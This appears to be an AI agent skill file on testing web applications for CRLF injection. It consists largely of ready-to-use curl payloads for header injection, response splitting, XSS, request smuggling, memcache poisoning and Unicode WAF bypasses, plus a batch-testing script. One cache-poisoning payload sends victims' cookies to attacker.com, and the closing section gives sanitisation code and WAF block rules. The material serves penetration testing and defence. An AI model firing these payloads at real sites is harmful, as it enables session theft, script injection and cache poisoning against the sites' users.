| name | crlf-injection-pentest |
| description | How to test for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. Use this skill whenever you need to assess HTTP header injection, response splitting, or newline-based bypasses during web security testing. Trigger this skill when the user mentions CRLF, HTTP header injection, response splitting, newline injection, URL encoding attacks, or any scenario involving user input reflected in HTTP headers. Also use when testing for XSS via header injection, cache poisoning, or SSRF through HTTP request smuggling. |
CRLF Injection Pentesting Skill
This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (%0D or \r) and LF (%0A or \n) characters is reflected in HTTP headers without proper sanitization.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP header injection vulnerabilities
- Investigating potential response splitting attacks
- Assessing XSS vectors through header manipulation
- Testing for cache poisoning or request smuggling via CRLF
- Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
- Bypassing WAFs using Unicode newline variants
- Reviewing code that sets HTTP headers from user input
Understanding CRLF Injection
What is CRLF?
- CR (Carriage Return):
%0D or \r - moves cursor to beginning of line
- LF (Line Feed):
%0A or \n - moves cursor to next line
- CRLF:
%0D%0A or \r\n - standard HTTP line terminator
HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:
- Terminate the current header early
- Inject new headers
- Inject response body content
- Split responses entirely
Attack Vectors
| Vector | Impact | Example |
|---|
| Response Splitting | XSS, Cache Poisoning | Inject headers + body |
| Header Injection | Cookie planting, CORS bypass | Add Set-Cookie, Access-Control-Allow-Origin |
| Open Redirect | Phishing | Inject Location: header |
| Request Smuggling | Bypass WAF, SSRF | Inject second HTTP request |
| Log Poisoning | Cover tracks | Fake log entries |
| Memcache Poisoning | Session hijacking | Inject memcache commands |
Testing Methodology
Step 1: Identify Reflection Points
Find where user input appears in HTTP responses:
curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test"
curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location"
curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"
Common vulnerable parameters:
redirect, return_url, next, goto, url, dest
callback, origin, referer
user_agent, host, x-forwarded-*
cookie, session, token
page, action, module, view
Step 2: Basic CRLF Testing
Test if CRLF characters are reflected:
curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected"
curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
What to look for:
- New headers appearing in response
- Response body starting earlier than expected
- Multiple
Location: headers
- Unexpected cookies being set
Step 3: Response Splitting Tests
Test for HTTP response splitting:
curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious"
curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true"
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Step 4: Advanced Payloads
Use the payload generator script for comprehensive testing:
python scripts/generate_crlf_payloads.py > crlf_payloads.txt
curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"
Step 5: WAF Bypass Techniques
If basic CRLF is filtered, try Unicode variants:
curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected"
curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected"
curl -v "http://target.com/page?input=test%C2%85Header-Test:injected"
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected"
curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"
Step 6: Verify Vulnerability
Confirm the injection worked:
http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"
http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected"
http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"
Common Attack Scenarios
1. XSS via Response Splitting
curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>"
curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"
2. Open Redirect + CRLF
curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true"
curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"
3. Cache Poisoning
curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
4. Request Smuggling
curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"
5. Memcache Poisoning
curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"
Payload Reference
Basic CRLF Payloads
| Purpose | Payload |
|---|
| Header injection | %0D%0AHeader-Name:value |
| Cookie injection | %0D%0ASet-Cookie:admin=true |
| Response split | %0D%0A%0D%0A |
| XSS via split | %0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script> |
| Open redirect | %0D%0ALocation:http://evil.com |
Unicode Bypass Payloads
| Character | Unicode | URL Encoded | Purpose |
|---|
| LINE SEPARATOR | U+2028 | %E2%80%A8 | Bypass WAF |
| PARAGRAPH SEPARATOR | U+2029 | %E2%80%A9 | Bypass WAF |
| NEXT LINE | U+0085 | %C2%85 | Bypass WAF |
| LF (alt) | U+560A | %E5%98%8A | Double encoding |
| CR (alt) | U+560D | %E5%98%8D | Double encoding |
Filter Bypass Combinations
%E2%80%A8%E2%80%A9Set-Cookie:test
%250D%250ASet-Cookie:test
%E5%98%8A%E5%98%8DSet-Cookie:test
%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A
Automated Testing
Using curl for batch testing
#!/bin/bash
ENDPOINTS=(
"http://target.com/page?input="
"http://target.com/redirect?url="
"http://target.com/api?callback="
)
PAYLOADS=(
"%0D%0ASet-Cookie:injected=true"
"%0D%0AX-Injected:malicious"
"%0D%0A%0D%0A<script>alert(1)</script>"
"%E2%80%A8Set-Cookie:injected=true"
)
for endpoint in "${ENDPOINTS[@]}"; do
for payload in "${PAYLOADS[@]}"; do
echo "Testing: $endpoint$payload"
curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]"
done
done
Using the payload generator
python scripts/generate_crlf_payloads.py --all > payloads.txt
while read payload; do
http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload"
done < payloads.txt
Verification Checklist
After detecting potential CRLF injection:
Remediation Guidance
For Developers
-
Never reflect user input in headers
response.headers['X-Custom'] = user_input
response.headers['X-Custom'] = 'static-value'
-
Validate and sanitize input
import re
def sanitize_header_value(value):
return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value)
-
Use framework protections
- Django:
HttpResponse automatically sanitizes headers
- Express: Use
helmet middleware
- Spring: Use
HttpServletResponse with validation
-
Implement allowlists
ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org']
def safe_redirect(url):
if url in ALLOWED_REDIRECTS:
return redirect(url)
return redirect('/')
-
Update dependencies
- RestSharp: ≥110.2.0 (CVE-2024-45302)
- Refit: >7.2.101 (CVE-2024-51501)
- Apache APISIX Dashboard: patched version
For Security Teams
-
WAF Rules
# Block CRLF in request
if ($request ~* "%(0d|0a|13|0a)") {
return 403;
}
# Block Unicode variants
if ($request ~* "%(e2%80%a[89]|c2%85)") {
return 403;
}
-
Monitoring
- Alert on CRLF patterns in logs
- Monitor for unusual header patterns
- Track response splitting attempts
-
Testing
- Include CRLF tests in CI/CD pipeline
- Regular penetration testing
- Bug bounty program with CRLF scope
Tools
References
Quick Start
python scripts/generate_crlf_payloads.py > payloads.txt
curl -v "http://target.com/page?input=$(head -1 payloads.txt)"
curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Notes
- CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
- Modern frameworks often have built-in protections, but custom code is frequently vulnerable
- Unicode bypasses are increasingly important as WAFs improve
- Always test from multiple angles (URL parameters, headers, cookies, POST data)
- Document findings with proof-of-concept for remediation